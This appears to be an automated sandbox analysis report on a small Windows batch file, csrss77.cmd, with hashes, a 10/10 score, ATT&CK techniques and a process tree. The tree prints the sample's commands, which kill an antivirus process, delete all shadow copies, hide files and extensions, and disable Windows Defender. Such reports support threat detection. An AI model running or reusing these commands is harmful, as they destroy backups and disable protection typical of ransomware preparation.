e596fa3fa7a3366a2a18f433ac43931dda4cbd01d6734623b930c95346d2a75d

Analysis

max time kernel
149s
max time network
163s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
29/05/2026, 21:55

Target
csrss77.cmd
Size 400B
Sample260529-1synpshs7m
SHA256 e596fa3fa7a3366a2a18f433ac43931dda4cbd01d6734623b930c95346d2a75d
MD5 e620dca4a3f9a9c0285d36611e9e593d
SHA1 b004b0a22dba8a925b3759c2f70b2479c92556d8
SHA512 23f8621e29bf617be84eec665607a3a45e2d2156c279ce5116bcf7fa2011a7713826f712d7edbea847571fb8c09446af495b3fa1e63d2208a5cbded66491da80
TLSH
T1A1E022617C298252DA63B220A48F1C13EBFBA7C3A8505BD2798A6052607B085C0FE6D2
MD5 SHA1 SHA512 TLSH

Score

10^/10

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

Modify Registry

Windows Service

Disable or Modify Tools

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs

Hidden Files and Directories

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-1768642833-2142038154-4041560723-1000\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt = "1"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

File Deletion

Inhibit System Recovery

Direct Volume Access

pid	Process
1392	vssadmin.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
3636	taskkill.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 4320 wrote to memory of 3636	4320	cmd.exe	81
PID 4320 wrote to memory of 1392	4320	cmd.exe	83
PID 4320 wrote to memory of 5632	4320	cmd.exe	86
PID 4320 wrote to memory of 4020	4320	cmd.exe	87
PID 4320 wrote to memory of 3232	4320	cmd.exe	88

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\csrss77.cmd"
1⤵
- Suspicious use of WriteProcessMemory
PID:4320
- C:\Windows\system32\taskkill.exe
  taskkill /f /im avp.exe
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:3636
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1392
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v HideFileExt /t REG_DWORD /d 1 /f
  2⤵
  - Modifies visibility of file extensions in Explorer
  PID:5632
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v Hidden /t REG_DWORD /d 1 /f
  2⤵
  PID:4020
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:3232